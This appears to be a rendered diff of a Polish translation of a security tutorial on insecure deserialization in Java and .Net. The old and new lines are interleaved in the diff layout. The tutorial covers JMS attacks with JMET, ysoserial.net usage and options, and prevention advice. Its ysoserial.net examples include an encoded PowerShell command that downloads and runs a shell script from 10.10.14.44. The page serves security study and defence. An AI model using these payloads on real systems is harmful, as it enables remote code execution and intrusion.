ObjectInputFilter filter = info -> {
|
ObjectInputFilter filter = info -> {
|
||||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||||
@ -622,29 +636,30 @@ return Status.ALLOWED;
|
|||||||
};
|
};
|
||||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||||
```
|
```
|
||||||
**Wykorzystanie zewnętrznych bibliotek w celu zwiększenia bezpieczeństwa**: Biblioteki takie jak **NotSoSerial**, **jdeserialize** i **Kryo** oferują zaawansowane funkcje do kontrolowania i monitorowania deserializacji w Javie. Te biblioteki mogą zapewnić dodatkowe warstwy bezpieczeństwa, takie jak białe i czarne listy klas, analizowanie obiektów serializowanych przed deserializacją oraz wdrażanie niestandardowych strategii serializacji.
|
**Leveraging External Libraries for Enhanced Security**: Biblioteki takie jak **NotSoSerial**, **jdeserialize** i **Kryo** oferują zaawansowane funkcje do kontroli i monitorowania Java deserialization. Te biblioteki mogą zapewnić dodatkowe warstwy bezpieczeństwa, takie jak whitelisting albo blacklisting klas, analizowanie serialized obiektów przed deserialization oraz wdrażanie niestandardowych strategii serialization.
|
||||||
|
|
||||||
- **NotSoSerial** przechwytuje procesy deserializacji, aby zapobiec wykonaniu nieufnego kodu.
|
- **NotSoSerial** przechwytuje procesy deserialization, aby zapobiegać wykonaniu nieufnego kodu.
|
||||||
- **jdeserialize** umożliwia analizę serializowanych obiektów Java bez ich deserializacji, co pomaga w identyfikacji potencjalnie złośliwej zawartości.
|
- **jdeserialize** pozwala na analizę serialized Java obiektów bez ich deserialization, co pomaga zidentyfikować potencjalnie złośliwą zawartość.
|
||||||
- **Kryo** to alternatywna ramka do serializacji, która kładzie nacisk na szybkość i wydajność, oferując konfigurowalne strategie serializacji, które mogą zwiększyć bezpieczeństwo.
|
- **Kryo** jest alternatywnym frameworkiem serialization, który kładzie nacisk na szybkość i wydajność, oferując konfigurowalne strategie serialization, które mogą poprawić bezpieczeństwo.
|
||||||
|
|
||||||
### Odniesienia
|
### Referencje
|
||||||
|
|
||||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||||
- Deserializacja i rozmowa o ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||||
- Rozmowa o gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) i slajdy: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||||
- Artykuł Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||||
- Artykuł o deserializacji Java i .Net JSON: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** rozmowa: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdy: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||||
- CVE deserializacji: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||||
|
|
||||||
## Wstrzykiwanie JNDI i log4Shell
|
## JNDI Injection & log4Shell
|
||||||
|
|
||||||
|
Znajdź, czym jest **JNDI Injection**, jak go nadużyć przez RMI, CORBA & LDAP oraz jak exploitować **log4Shell** (i przykład tej podatności) na następującej stronie:
|
||||||
|
|
||||||
Znajdź, czym jest **Wstrzykiwanie JNDI, jak je nadużywać za pomocą RMI, CORBA i LDAP oraz jak wykorzystać log4shell** (i przykład tej podatności) na następującej stronie:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||||
@ -652,71 +667,71 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
|||||||
|
|
||||||
## JMS - Java Message Service
|
## JMS - Java Message Service
|
||||||
|
|
||||||
> API **Java Message Service** (**JMS**) to API middleware oparte na wiadomościach w Javie do wysyłania wiadomości między dwoma lub więcej klientami. Jest to implementacja do rozwiązania problemu producenta-konsumenta. JMS jest częścią platformy Java Platform, Enterprise Edition (Java EE) i została zdefiniowana przez specyfikację opracowaną w Sun Microsystems, ale od tego czasu była kierowana przez Java Community Process. Jest to standard wiadomości, który pozwala komponentom aplikacji opartym na Java EE tworzyć, wysyłać, odbierać i odczytywać wiadomości. Umożliwia to luźne powiązanie, niezawodną i asynchroniczną komunikację między różnymi komponentami rozproszonej aplikacji. (Z [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
> The **Java Message Service** (**JMS**) API jest Java message-oriented middleware API do wysyłania wiadomości pomiędzy dwoma lub większą liczbą klientów. Jest implementacją do obsługi problemu producent–konsument. JMS jest częścią Java Platform, Enterprise Edition (Java EE) i został zdefiniowany przez specyfikację opracowaną w Sun Microsystems, która od tego czasu jest prowadzona przez Java Community Process. Jest to standard komunikacyjny, który pozwala komponentom aplikacji opartym na Java EE tworzyć, wysyłać, odbierać i odczytywać wiadomości. Pozwala na luźne sprzężenie, niezawodność i asynchroniczną komunikację pomiędzy różnymi komponentami rozproszonej aplikacji. (Z [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||||
|
|
||||||
### Produkty
|
### Products
|
||||||
|
|
||||||
Istnieje kilka produktów wykorzystujących to middleware do wysyłania wiadomości:
|
Istnieje kilka produktów używających tego middleware do wysyłania wiadomości:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Wykorzystanie
|
### Exploitation
|
||||||
|
|
||||||
Tak więc, zasadniczo istnieje **wiele usług korzystających z JMS w niebezpieczny sposób**. Dlatego, jeśli masz **wystarczające uprawnienia** do wysyłania wiadomości do tych usług (zwykle będziesz potrzebować ważnych poświadczeń), możesz być w stanie wysłać **złośliwe obiekty serializowane, które będą deserializowane przez konsumenta/subskrybenta**.\
|
Tak naprawdę istnieje **duża liczba serwisów używających JMS w niebezpieczny sposób**. W związku z tym, jeśli masz **wystarczające uprawnienia** do wysyłania wiadomości do tych serwisów (zwykle potrzebne będą prawidłowe credentials), możesz być w stanie wysłać **złośliwe serialized obiekty, które zostaną deserialized przez consumer/subscriber**.\
|
||||||
Oznacza to, że w tym wykorzystaniu wszyscy **klienci, którzy będą korzystać z tej wiadomości, zostaną zainfekowani**.
|
Oznacza to, że przy takim ataku wszyscy **klienci, którzy użyją tej wiadomości, zostaną zainfekowani**.
|
||||||
|
|
||||||
Powinieneś pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe użytkownika), nadal musisz znaleźć ważne gadżety, aby wykorzystać tę podatność.
|
Należy pamiętać, że nawet jeśli serwis jest podatny (ponieważ insecurely deserializuje dane od użytkownika), nadal musisz znaleźć odpowiednie gadgets, aby wykorzystać podatność.
|
||||||
|
|
||||||
Narzędzie [JMET](https://github.com/matthiaskaiser/jmet) zostało stworzone, aby **łączyć się i atakować te usługi, wysyłając kilka złośliwych obiektów serializowanych przy użyciu znanych gadżetów**. Te exploity będą działać, jeśli usługa nadal będzie podatna i jeśli jakikolwiek z używanych gadżetów znajduje się w podatnej aplikacji.
|
Narzędzie [JMET](https://github.com/matthiaskaiser/jmet) zostało stworzone, aby **połączyć się i zaatakować te serwisy, wysyłając wiele złośliwych serialized obiektów używając znanych gadgets**. Te exploity zadziałają, jeśli serwis nadal jest podatny i jeśli którykolwiek z użytych gadgets znajduje się w podatnej aplikacji.
|
||||||
|
|
||||||
### Odniesienia
|
### Referencje
|
||||||
|
|
||||||
- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
||||||
|
|
||||||
- Rozmowa o JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||||
- Slajdy: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||||
|
|
||||||
## .Net
|
## .Net
|
||||||
|
|
||||||
W kontekście .Net, exploity deserializacji działają w sposób podobny do tych w Javie, gdzie gadżety są wykorzystywane do uruchamiania określonego kodu podczas deserializacji obiektu.
|
W kontekście .Net, exploity deserialization działają w sposób podobny do tych spotykanych w Java, gdzie gadgets są wykorzystywane do uruchomienia określonego kodu podczas deserialization obiektu.
|
||||||
|
|
||||||
### Odcisk palca
|
### Fingerprint
|
||||||
|
|
||||||
#### WhiteBox
|
#### WhiteBox
|
||||||
|
|
||||||
Kod źródłowy powinien być sprawdzany pod kątem wystąpień:
|
Kod źródłowy powinien być sprawdzony pod kątem wystąpień:
|
||||||
|
|
||||||
1. `TypeNameHandling`
|
1. `TypeNameHandling`
|
||||||
2. `JavaScriptTypeResolver`
|
2. `JavaScriptTypeResolver`
|
||||||
|
|
||||||
Należy skupić się na serializerach, które pozwalają na określenie typu przez zmienną pod kontrolą użytkownika.
|
Skup się na serializerach, które pozwalają na określenie typu przez zmienną kontrolowaną przez użytkownika.
|
||||||
|
|
||||||
#### BlackBox
|
#### BlackBox
|
||||||
|
|
||||||
Poszukiwania powinny koncentrować się na zakodowanym ciągu Base64 **AAEAAAD/////** lub jakimkolwiek podobnym wzorze, który może być deserializowany po stronie serwera, dając kontrolę nad typem, który ma być deserializowany. Może to obejmować, ale nie ogranicza się do, struktur **JSON** lub **XML** zawierających `TypeObject` lub `$type`.
|
Wyszukiwanie powinno celować w Base64 zakodowany ciąg **AAEAAAD/////** lub w dowolny podobny wzorzec, który może zostać deserialized po stronie serwera, dając kontrolę nad typem, który zostanie deserialized. Może to obejmować, ale nie ogranicza się do, struktury **JSON** lub **XML** zawierające `TypeObject` lub `$type`.
|
||||||
|
|
||||||
### ysoserial.net
|
### ysoserial.net
|
||||||
|
|
||||||
W tym przypadku możesz użyć narzędzia [**ysoserial.net**](https://github.com/pwntester/ysoserial.net), aby **tworzyć exploity deserializacji**. Po pobraniu repozytorium git powinieneś **skompilować narzędzie** na przykład za pomocą Visual Studio.
|
W tym przypadku możesz użyć narzędzia [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) aby **stworzyć exploity deserialization**. Po pobraniu repozytorium git powinieneś **skompilować narzędzie** używając Visual Studio na przykład.
|
||||||
|
|
||||||
Jeśli chcesz dowiedzieć się, **jak ysoserial.net tworzy swoje exploity**, możesz [**sprawdzić tę stronę, na której wyjaśniono gadżet ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
Jeśli chcesz dowiedzieć się, **jak ysoserial.net tworzy swoje exploit y**, możesz [**sprawdzić tę stronę, gdzie wyjaśniono ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||||
|
|
||||||
Główne opcje **ysoserial.net** to: **`--gadget`**, **`--formatter`**, **`--output`** i **`--plugin`.**
|
Główne opcje **ysoserial.net** to: **`--gadget`**, **`--formatter`**, **`--output`** oraz **`--plugin`.**
|
||||||
|
|
||||||
- **`--gadget`** używane do wskazania gadżetu do nadużycia (wskazuje klasę/funkcję, która będzie nadużywana podczas deserializacji w celu wykonania poleceń).
|
- **`--gadget`** używane do wskazania gadgeta do nadużycia (wskazania klasy/funkcji, która zostanie wykorzystana podczas deserialization do wykonania poleceń).
|
||||||
- **`--formatter`**, używane do wskazania metody do serializacji exploita (musisz wiedzieć, która biblioteka jest używana w zapleczu do deserializacji ładunku i użyć tej samej do jego serializacji).
|
- **`--formatter`** używane do wskazania metody serializacji exploita (musisz wiedzieć, której biblioteki używa backend do deserialization payloadu i użyć tej samej do serializacji).
|
||||||
- **`--output`** używane do wskazania, czy chcesz, aby exploit był w formacie **raw** czy **base64**. _Zauważ, że **ysoserial.net** będzie **kodować** ładunek przy użyciu **UTF-16LE** (domyślne kodowanie w systemie Windows), więc jeśli uzyskasz surowy ładunek i po prostu zakodujesz go z konsoli linuxowej, możesz napotkać pewne **problemy z kompatybilnością kodowania**, które uniemożliwią poprawne działanie exploita (w przypadku HTB JSON box ładunek działał zarówno w UTF-16LE, jak i ASCII, ale to nie oznacza, że zawsze będzie działać)._
|
- **`--output`** używane do wskazania, czy chcesz exploit w formacie **raw** czy **base64**. _Uwaga: **ysoserial.net** zakoduje payload używając **UTF-16LE** (kodowanie domyślne na Windows), więc jeśli otrzymasz raw i po prostu zakodujesz go z poziomu konsoli linux możesz mieć problemy z kompatybilnością encodingu, które uniemożliwią poprawne działanie exploita (w HTB JSON box payload zadziałał zarówno w UTF-16LE jak i ASCII, ale nie oznacza to, że zawsze tak będzie)._
|
||||||
- **`--plugin`** ysoserial.net obsługuje wtyczki do tworzenia **exploitów dla konkretnych frameworków** jak ViewState.
|
- **`--plugin`** ysoserial.net wspiera pluginy do tworzenia **exploitów dla konkretnych frameworków** jak ViewState
|
||||||
|
|
||||||
#### Więcej parametrów ysoserial.net
|
#### More ysoserial.net parameters
|
||||||
|
|
||||||
- `--minify` dostarczy **mniejszy ładunek** (jeśli to możliwe)
|
- `--minify` zapewni **mniejszy payload** (jeśli to możliwe)
|
||||||
- `--raf -f Json.Net -c "anything"` To wskaże wszystkie gadżety, które mogą być używane z podanym formatterem (`Json.Net` w tym przypadku)
|
- `--raf -f Json.Net -c "anything"` To wskaże wszystkie gadgets, które mogą być użyte z podanym formatterem (`Json.Net` w tym przypadku)
|
||||||
- `--sf xml` możesz **wskazać gadżet** (`-g`), a ysoserial.net będzie szukać formatterów zawierających "xml" (niezależnie od wielkości liter)
|
- `--sf xml` możesz **wskazać gadget** (`-g`) i ysoserial.net przeszuka formattery zawierające "xml" (case insensitive)
|
||||||
|
|
||||||
**Przykłady ysoserial** do tworzenia exploitów:
|
**ysoserial examples** to create exploits:
|
||||||
```bash
|
```bash
|
||||||
#Send ping
|
#Send ping
|
||||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||||
@ -734,9 +749,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
|||||||
#Create exploit using the created B64 shellcode
|
#Create exploit using the created B64 shellcode
|
||||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||||
```
|
```
|
||||||
**ysoserial.net** ma również **bardzo interesujący parametr**, który pomaga lepiej zrozumieć, jak działa każdy exploit: `--test`\
|
**ysoserial.net** ma także **bardzo interesujący parametr**, który pomaga lepiej zrozumieć, jak działa każdy **exploit**: `--test`\
|
||||||
Jeśli wskażesz ten parametr, **ysoserial.net** **spróbuje** **wykorzystać** exploit lokalnie, dzięki czemu możesz przetestować, czy twój ładunek zadziała poprawnie.\
|
Jeśli podasz ten parametr, **ysoserial.net** **spróbuje** **exploit lokalnie,** dzięki czemu możesz sprawdzić, czy twój payload zadziała poprawnie.\
|
||||||
Ten parametr jest pomocny, ponieważ jeśli przejrzysz kod, znajdziesz fragmenty kodu takie jak ten (z [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
Ten parametr jest przydatny, ponieważ przeglądając kod znajdziesz fragmenty kodu podobne do poniższego (z [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||||
```java
|
```java
|
||||||
if (inputArgs.Test)
|
if (inputArgs.Test)
|
||||||
{
|
{
|
||||||
@ -750,7 +765,7 @@ Debugging.ShowErrors(inputArgs, err);
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Oznacza to, że w celu przetestowania exploita kod wywoła [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
Oznacza to, że aby przetestować exploit, kod wywoła [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||||
```java
|
```java
|
||||||
public static object JsonNet_deserialize(string str)
|
public static object JsonNet_deserialize(string str)
|
||||||
{
|
{
|
||||||
@ -761,46 +776,46 @@ TypeNameHandling = TypeNameHandling.Auto
|
|||||||
return obj;
|
return obj;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
W **poprzednim kodzie występuje luka, która może być wykorzystana**. Jeśli znajdziesz coś podobnego w aplikacji .Net, oznacza to, że prawdopodobnie ta aplikacja również jest podatna.\
|
W **poprzedni kod jest podatny na utworzony exploit**. Więc jeśli znajdziesz coś podobnego w aplikacji .Net, oznacza to, że prawdopodobnie ta aplikacja też jest podatna.\
|
||||||
Dlatego parametr **`--test`** pozwala nam zrozumieć **które fragmenty kodu są podatne** na exploit deserializacji, który **ysoserial.net** może stworzyć.
|
Dlatego parametr **`--test`** pozwala nam zrozumieć, **które fragmenty kodu są podatne** na eksploit deserializacji, który może wygenerować **ysoserial.net**.
|
||||||
|
|
||||||
### ViewState
|
### ViewState
|
||||||
|
|
||||||
Zobacz [ten POST o **tym, jak próbować wykorzystać parametr \_\_ViewState w .Net**](exploiting-__viewstate-parameter.md), aby **wykonać dowolny kod.** Jeśli **już znasz sekrety** używane przez maszynę ofiary, [**przeczytaj ten post, aby dowiedzieć się, jak wykonać kod**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
Zobacz [ten POST o **tym, jak spróbować wykorzystać parametr __ViewState w .Net**](exploiting-__viewstate-parameter.md), aby **wykonać dowolny kod.** Jeśli **już znasz sekrety** używane przez maszynę ofiary, [**przeczytaj ten post, aby dowiedzieć się jak uruchomić kod**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||||
|
|
||||||
### Zapobieganie
|
### Zapobieganie
|
||||||
|
|
||||||
Aby zminimalizować ryzyko związane z deserializacją w .Net:
|
Aby zredukować ryzyko związane z deserializacją w .Net:
|
||||||
|
|
||||||
- **Unikaj pozwalania strumieniom danych na definiowanie swoich typów obiektów.** Wykorzystuj `DataContractSerializer` lub `XmlSerializer`, gdy to możliwe.
|
- **Unikaj pozwalania strumieniom danych na definiowanie typów obiektów.** Używaj `DataContractSerializer` lub `XmlSerializer`, gdy to możliwe.
|
||||||
- **Dla `JSON.Net`, ustaw `TypeNameHandling` na `None`:** `TypeNameHandling = TypeNameHandling.None`
|
- **Dla `JSON.Net`, ustaw `TypeNameHandling` na `None`:** `TypeNameHandling = TypeNameHandling.None`
|
||||||
- **Unikaj używania `JavaScriptSerializer` z `JavaScriptTypeResolver`.**
|
- **Unikaj używania `JavaScriptSerializer` z `JavaScriptTypeResolver`.**
|
||||||
- **Ogranicz typy, które mogą być deserializowane**, rozumiejąc inherentne ryzyko związane z typami .Net, takimi jak `System.IO.FileInfo`, które mogą modyfikować właściwości plików serwera, co potencjalnie prowadzi do ataków typu denial of service.
|
- **Ogranicz typy, które mogą być deserializowane**, rozumiejąc wrodzone ryzyko związane z typami .Net, takimi jak `System.IO.FileInfo`, które mogą zmieniać właściwości plików na serwerze, potencjalnie prowadząc do ataków typu denial of service.
|
||||||
- **Bądź ostrożny z typami mającymi ryzykowne właściwości**, jak `System.ComponentModel.DataAnnotations.ValidationException` z jego właściwością `Value`, która może być wykorzystana.
|
- **Bądź ostrożny z typami posiadającymi ryzykowne właściwości**, jak `System.ComponentModel.DataAnnotations.ValidationException` z właściwością `Value`, która może być wykorzystana.
|
||||||
- **Bezpiecznie kontroluj instancjonowanie typów**, aby zapobiec wpływowi atakujących na proces deserializacji, co sprawia, że nawet `DataContractSerializer` lub `XmlSerializer` mogą być podatne.
|
- **Bezpiecznie kontroluj tworzenie instancji typów**, aby zapobiec możliwości wpływania przez atakujących na proces deserializacji, co może uczynić nawet `DataContractSerializer` lub `XmlSerializer` podatnymi.
|
||||||
- **Wdrażaj kontrole białej listy** przy użyciu niestandardowego `SerializationBinder` dla `BinaryFormatter` i `JSON.Net`.
|
- **Wdrażaj kontrolę białej listy** używając niestandardowego `SerializationBinder` dla `BinaryFormatter` i `JSON.Net`.
|
||||||
- **Bądź na bieżąco z znanymi niebezpiecznymi gadżetami deserializacji** w .Net i upewnij się, że deserializatory nie instancjonują takich typów.
|
- **Bądź na bieżąco ze znanymi niebezpiecznymi gadżetami deserializacji** w .Net i upewnij się, że deserializatory nie tworzą instancji takich typów.
|
||||||
- **Izoluj potencjalnie ryzykowny kod** od kodu z dostępem do internetu, aby uniknąć narażenia znanych gadżetów, takich jak `System.Windows.Data.ObjectDataProvider` w aplikacjach WPF, na niezaufane źródła danych.
|
- **Izoluj potencjalnie ryzykowny kod** od kodu z dostępem do internetu, aby nie narażać znanych gadżetów, takich jak `System.Windows.Data.ObjectDataProvider` w aplikacjach WPF, na nieufane źródła danych.
|
||||||
|
|
||||||
### **Referencje**
|
### **Referencje**
|
||||||
|
|
||||||
- Artykuł o deserializacji JSON w Javie i .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** wykład: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdy: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** prezentacja: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdy: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||||
|
|
||||||
## **Ruby**
|
## **Ruby**
|
||||||
|
|
||||||
